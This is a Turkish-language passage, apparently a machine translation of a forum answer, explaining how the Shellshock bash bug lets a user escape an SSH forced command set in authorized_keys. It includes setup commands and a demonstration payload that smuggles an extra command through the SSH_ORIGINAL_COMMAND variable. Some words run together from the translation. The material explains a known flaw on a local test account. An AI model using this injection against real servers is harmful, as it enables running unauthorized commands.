Bunun istismar edilebileceği bir örnek, authorized_keyszorunlu bir komutu olan sunuculardadır . Bir giriş eklerken , ssh public anahtarının kullanıldığı herhangi bir zamanda çalıştırılmaya zorlamak için ~/.ssh/authorized_keyssatırın önekini ekleyebilirsiniz . Bu istismarla, hedef kullanıcının kabuğuna ayarlanmışsa , zorla çalıştırdıkları komuttan başka şeyler çalıştırmak için istismardan yararlanabilirler.command="foo"foobash
Bu muhtemelen örnek olarak daha anlamlı olur, bu yüzden burada bir örnek:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Burada testuser, çalıştırmak için ssh anahtarınızı kullanarak herhangi bir ssh bağlantısını zorlayan bir kullanıcı ayarladık echo starting sleep; sleep 1.
Bunu şu şekilde test edebiliriz:
$ ssh testuser@localhost echo something else
starting sleep
Bizim nasıl kaçamayacağımıza dikkat edin echo something else, ama starting sleepzorunlu komutun çalıştığını gösterir.
Şimdi bu istismarın nasıl kullanılabileceğini gösterelim:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Bu sshd, SSH_ORIGINAL_COMMANDortam değişkenini iletilen komuta ayarladığı için çalışır . Bu yüzden sshdkoştum bile sleep, söylediğim komutu kullanmamam, kötüye kullanım yüzünden kodum hala çalıştırılıyor.